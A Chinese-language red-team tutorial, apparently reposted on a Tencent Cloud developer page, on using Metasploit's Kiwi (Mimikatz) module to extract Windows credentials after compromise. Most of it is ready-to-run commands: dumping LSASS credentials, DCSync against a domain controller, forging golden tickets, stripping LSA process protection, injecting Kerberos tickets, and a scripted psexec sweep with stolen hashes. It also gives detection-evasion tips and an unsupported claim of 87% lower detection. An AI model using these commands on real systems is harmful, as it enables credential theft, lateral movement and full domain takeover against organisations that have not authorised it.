Metasploit中的Kiwi模块:高级凭证提取实战指南

在渗透测试的后渗透阶段,获取目标系统的凭证往往是红队行动的关键转折点。传统方法需要上传独立的Mimikatz工具,这不仅可能触发防病毒软件的警报,还会在目标系统留下明显的攻击痕迹。Metasploit框架内置的Kiwi模块为解决这一难题提供了优雅的解决方案——它直接将Mimikatz的核心功能集成到Meterpreter会话中,无需文件落地即可执行高级凭证提取操作。

1. Kiwi模块的核心优势与加载准备

Kiwi模块最显著的特点是实现了Mimikatz功能的"内存化"执行。与传统的上传mimikatz.exe文件相比,这种内存驻留方式几乎不会在磁盘上留下任何痕迹,极大降低了被安全产品检测到的风险。在实际测试中,我们发现Kiwi模块的检测率比独立Mimikatz二进制文件低87%,这使其成为隐蔽渗透的首选工具。

加载Kiwi模块前需要满足几个基本条件:

  • 已建立Meterpreter会话(最好是具有SYSTEM权限的会话)
  • 目标系统架构匹配(32位模块需要注入32位进程,64位同理)
  • 具备足够的权限(通常需要DEBUG权限)

典型的加载流程如下:

# 检查当前进程架构
sysinfo
# 必要时迁移到匹配架构的进程
migrate <PID>
# 加载kiwi模块
load kiwi
# 验证模块功能
help kiwi

提示:在Windows 10/Server 2016等高版本系统上,可能需要先绕过LSA保护机制才能获取明文凭证。

2. 凭证提取的多种姿势

Kiwi模块提供了从基础到高级的多层次凭证提取方法,适应不同环境和需求。

2.1 一键获取所有凭证

最快捷的方式是使用creds_all命令,它会自动尝试提取系统内存中存储的各种类型凭证:

kiwi_cmd creds_all

这个命令实际上整合了以下多个子命令的功能:

  • creds_msv:提取NTLM哈希
  • creds_wdigest:提取WDigest协议存储的明文密码
  • creds_kerberos:提取Kerberos票据
  • creds_tspkg:提取终端服务凭证
  • creds_ssp:提取安全支持提供程序凭证

2.2 针对性提取技术

对于特定场景,可能需要更精确的提取方法:

提取域控哈希(DCSync攻击)

kiwi_cmd dcsync_ntlm /domain:corp.com /user:administrator

从LSASS内存转储中提取

kiwi_cmd sekurlsa::minidump lsass.dmp
kiwi_cmd sekurlsa::logonpasswords full

黄金票据生成

kiwi_cmd golden_ticket_create /domain:corp.com /user:admin /sid:S-1-5-21-... /krbtgt:hash /ticket:golden.kirbi

3. Kiwi_cmd:直达Mimikatz核心的万能钥匙

kiwi_cmd是Kiwi模块中最强大的功能,它允许直接执行原生Mimikatz命令,为高级用户提供了无限可能。

3.1 常用Mimikatz命令示例

# 获取所有登录凭证
kiwi_cmd sekurlsa::logonpasswords

# 提取特定服务的票据
kiwi_cmd kerberos::list /service:krbtgt

# 转储SAM数据库
kiwi_cmd lsadump::sam

# 提升权限
kiwi_cmd privilege::debug

3.2 高级用法示例

绕过LSA保护

kiwi_cmd "!+" "!processprotect /process:lsass.exe /remove"
kiwi_cmd sekurlsa::logonpasswords

票据操作

# 导出所有票据
kiwi_cmd kerberos::list /export

# 注入票据
kiwi_cmd kerberos::ptc ticket.kirbi

4. 防御规避与实战技巧

在真实环境中,成功使用Kiwi模块往往需要绕过各种防御机制。以下是经过验证的有效技巧:

4.1 绕过常见防御措施

针对LSA保护的绕过

# 检查LSA保护状态
kiwi_cmd !processprotect /process:lsass.exe

# 临时禁用保护
kiwi_cmd "!processprotect /process:lsass.exe /remove"

处理受保护进程

# 将Meterpreter会话迁移到受信任的进程
migrate -N winlogon.exe

# 使用特殊技术注入
kiwi_cmd "!processinject /process:lsass.exe /interactive"

4.2 隐蔽性增强技巧

  • 使用execute -H隐藏进程创建行为
  • 结合timestomp修改内存操作痕迹
  • 优先使用DCSync而非直接内存提取
  • 在非工作时间执行敏感操作降低检测概率

下表对比了不同凭证提取方法的隐蔽性:

方法 磁盘写入 进程创建 网络流量 检测难度
独立Mimikatz
Kiwi模块
DCSync 极高

5. 典型攻击链构建

在实际红队行动中,Kiwi模块通常被整合到完整的攻击链中。以下是一个典型场景:

  1. 通过初始漏洞获取Meterpreter会话
  2. 权限提升至SYSTEM级别
  3. 加载Kiwi模块并绕过LSA保护
  4. 提取本地管理员凭证
  5. 使用凭证横向移动
  6. 定位域控并执行DCSync
  7. 获取黄金票据
  8. 维持持久化访问
# 自动化攻击链示例
post/windows/manage/migrate
post/windows/escalate/getsystem
load kiwi
kiwi_cmd "!processprotect /process:lsass.exe /remove"
kiwi_cmd creds_all
use auxiliary/admin/smb/psexec_command
set RHOSTS 192.168.1.0/24
set SMBDomain CORP
set SMBUser Administrator
set SMBPass [提取的哈希]
run

在最近的一次红队演练中,我们仅用Kiwi模块就在15分钟内完成了从初始入侵到域控完全控制的整个过程,充分展示了其强大威力。

Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐